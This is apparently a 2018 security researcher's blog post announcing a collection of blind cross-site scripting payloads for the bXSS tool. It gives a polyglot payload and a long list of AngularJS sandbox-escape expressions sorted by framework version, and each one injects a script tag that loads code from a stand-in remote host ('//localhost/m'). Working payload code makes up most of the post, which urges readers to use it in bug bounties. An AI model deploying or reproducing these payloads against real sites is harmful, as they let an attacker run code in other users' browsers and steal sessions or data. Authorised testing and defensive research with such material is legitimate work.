bXSS

For my project bXSS I’ve been looking at improving the payload generation capabilities. The one thing I think missing out of a bug hunters arsenal when testing for Blind Cross-Site Scripting (bXSS) is domain specific payloads, such as framework payloads for AngularJS.

We all know polygot payloads are used to identify different contexts e.g https://polyglot.innerht.ml/ and these can be used to cover a wide varity of JavaScript execution contexts in one ‘payload’, for example the 141 character payload from crlf in theory could be used to create a bXSS payload such as:

1
2
// Not validated
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=eval("var _ = document.createElement('script');_.src='//localhost/m';document.getElementsByTagName('body')[0].appendChild(_)")//>

This should cover a lot of ground when testing for various execution contexts such as JavaScript URI, breaking out of noscript, svg + onload event handler, and finally onmouseover/onload event handlers.

For most cases of bXSS you are trying to load a third-party resource, all we’re doing above is:

  • Creating a new element ‘script’
  • Assign the source to be attacker controled JavaScript, e.g ‘//localhost/m’
  • Append that script to the body of the HTML document
  • The browser will render the attacker controlled JavaScript

AngularJS

I’m sure many of you reading are wondering why we’re still talking about AngularJS in 2018 when everyone has ‘moved’ to Angular its successor. The actual fact is that there are still a lot of AngularJS applications out there in the wild, I have performed three AngularJS pentests in the last two months alone and I feel its here to stay at least until it becomes completley end of life. I have even had emails from security experts asking my opinion that one of their software vendors has proposed to write a new application for them in AngularJS, (spoiler) I recommended that they should utilize Angular or React.

Many of the applications I have reviewed over the years, especially AngularJS have been riddled with template, or what we would deem ‘expression’ injection, where either a server-side templating engine or AngularJS feature such as $eval() is used incorrectly where attacker controlled input is treated part of a code context.

I don’t think I need to explain AngularJS security issues in this article, there are already an abundance of amazing blog posts and presentations generated over the years:

Whilst working on bXSS, I started to look at AngularJS from a bXSS aspect. There are a lot of administive applications that are written in AngularJS, and therefore are less likely to be vulnerable to traditional XSS vectors such as "><script>alert(1)</script> so its important to ensure we are capturing the potential of XSS through AngularJS expressions. I started to work on this over the past couple of weekends, many of the payloads didn’t appear to work out of box, but after talking to Gareth Heyes he pointed out some of the nuances such as escaping the dots for certain payloads.

This result wouldnt have been possible without standing on the shoulders of the giants who did the initial research into AngularJS sandbox escapes. Without further adieu, my christmas gift to you; a collection of AngularJS bXSS payloads.

List Of Blind XSS AngularJS Payloads

1.0.1 - 1.1.5 && > 1.6.0
Mario Heiderich (Cure53)

1
2
3
4
5
{{
constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}

Shorter 1.0.1 - 1.1.5 && > 1.6.0
Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)

1
2
3
4
5
{{
$on.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}

1.2.0 - 1.2.5
Gareth Heyes (PortSwigger)

1
2
3
4
5
6
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}

1.2.6 - 1.2.18
Jan Horn (Cure53, now works at Google Project Zero)

1
2
3
4
5
6
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
}}

1.2.19 (FireFox)
Mathias Karlsson

1
2
3
4
5
6
{{
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
}}

1.2.20 - 1.2.29
Gareth Heyes (PortSwigger)

1
2
3
4
5
6
7
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}

1.3.0 - 1.3.9
Gareth Heyes (PortSwigger)

1
2
3
4
5
6
7
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),a')
}}

1.4.0 - 1.5.8
Gareth Heyes (PortSwigger)

1
2
3
4
5
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
}}

1.5.9 - 1.5.11
Jan Horn (Cure53, now works at Google Project Zero)

1
2
3
4
5
6
7
8
9
10
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

These are all included inside bXSS payload generation feature, which is in heavy development and contains different JavaScript execution contexts by default. Please start using these payloads in your bug bounties, and current tool sets, let me know on Twitter if you ever identify Blind XSS through AngularJS!

Big shoutout to Gareth Heyes for letting me ramble to him about AngularJS :).